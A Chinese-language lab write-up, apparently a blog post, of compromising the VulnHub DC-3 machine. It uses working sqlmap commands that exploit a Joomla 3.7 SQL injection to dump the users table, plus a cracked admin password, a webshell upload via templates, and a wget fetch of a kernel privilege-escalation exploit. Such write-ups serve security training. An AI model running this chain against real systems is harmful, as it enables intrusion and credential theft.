vulnhub-DC3

信息搜集

在kali和mac上,用arp-scan扫网段,都扫不出来,没办法只能登录路由器后台查看IP了。

得到IP,用nmap扫描一下,看到只开了80端口。

主页如下,提示只有一个flag,需要登录获得。还有登录功能,可能存在注入。

收集下网站信息,看到是一个Joomla的CMS,语言为PHP。

50

dirsearch扫一下,能够看到很多信息。

在README.txt得到版本信息为3.7。

然后,去网上搜了一下,知道Joomla3.7版本有一个SQL注入漏洞,在这里有相应的利用方式。自己来测试一下,看到报错了,的确存在注入。

下来上sqlmap。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# 1.数据库
sqlmap -u "http://192.168.1.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list\[fullordering\]

available databases [5]:
[*] information_schema
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys

# 2.表
sqlmap -u "http://192.168.1.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list\[fullordering\] --batch

+----------+-------------+
........................
| #__user_profiles |
| #__user_usergroup_m |
| #__usergroups |
| #__users |
| #__utf8_conversion |
| #__viewlevels |
+---------------------+

# 3.字段,这里把--batch去掉,因为这里的sqlmap自动选择了No,没法向下进行
## --batch就是一个自动选择sqlmap给出的选项,要视情况使用
sqlmap -u "http://192.168.1.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T \#\_\_users --columns -p list\[fullordering\]

+----------+-------------+
| Column | Type |
+----------+-------------+
| id | numeric |
| name | non-numeric |
| password | non-numeric |
| email | non-numeric |
| params | non-numeric |
| username | non-numeric |
+----------+-------------+

# 4.字段内容
sqlmap -u "http://192.168.1.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T \#\_\_users -C id,name,password,username --dump -p list\[fullordering\]

+------+--------+--------------------------------------------------------------+----------+
| id | name | password | username |
+------+--------+--------------------------------------------------------------+----------+
| 629 | admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu | admin |
+------+--------+--------------------------------------------------------------+----------+

通过注入得到了admin的加密密码,下来看能否破解它。先新建一个pwd文件,把上面的加密密码存到其中。使用kali下的john,以及自带的字典进行破解,得到密码snoopy。

然后,去路径/administrator登录。登录成功后,看到管理界面。

登录成功后,刚开始是想用msf中的这个Joomla版本的RCE模块,但试了几次都不太行。

不行,那就自己写木马文件吧,毕竟管理权限都拿到了。去站点下的Extensions/Templates路径,能够看到站点的配置文件。

在这里还找到了msf上传的反弹shell脚本,emmm。然后,我又各种改,试了试连kali和mac都不行,但本地测试时,mac能接到kali的反弹shell,奇了怪了,也不管了,还是自己再添加一个好。

因为还不会写反弹shell的脚本,就先上传一个简单的马儿,然后用蚁剑连接操作。

使用蚁剑的虚拟终端,uname -a查看电脑以及操作系统相关信息, lsb_release -a列出所有版本信息。

使用searchsploit查找提权exp。

博客说只有一个版本能用:

1
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation                                                                            | exploits/linux/local/39772.txt

在kali或本机用wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip下载并解压,下来上传到有文件操作权限的一个目录下。

但是之后出现编译错误,执行也出错,就跟上面参考的博客那样,看来蚁剑的模拟终端还是不太好用,以后如果是需要搞反弹shell的时候,还是不省事儿了~~~。从这里拿个反弹shell脚本,之后也尝试了,各种不行,就是连不上。难受的一批,先不弄了。后面的操作就是用exp提权,cat flag,然后就没了。

回顾过程

  1. 信息收集
  • 目标IP探测
  • Nmap端口扫描
  1. CMS漏洞搜索
  • 识别Joomla CMS管理系统
  • 使用explotdb搜索漏洞
  1. 获取账户和密码
  • SQL注入
  • John破解hash
  1. 后渗透
  • 收集系统信息
  • 添加脚本,反弹shell连接
  1. exp提权
  • searchsploit搜索exp
  • 上传文件
  • 编译运行

参考

[1] Vulnhub DC-3靶机渗透

[2] VulnHub DC-3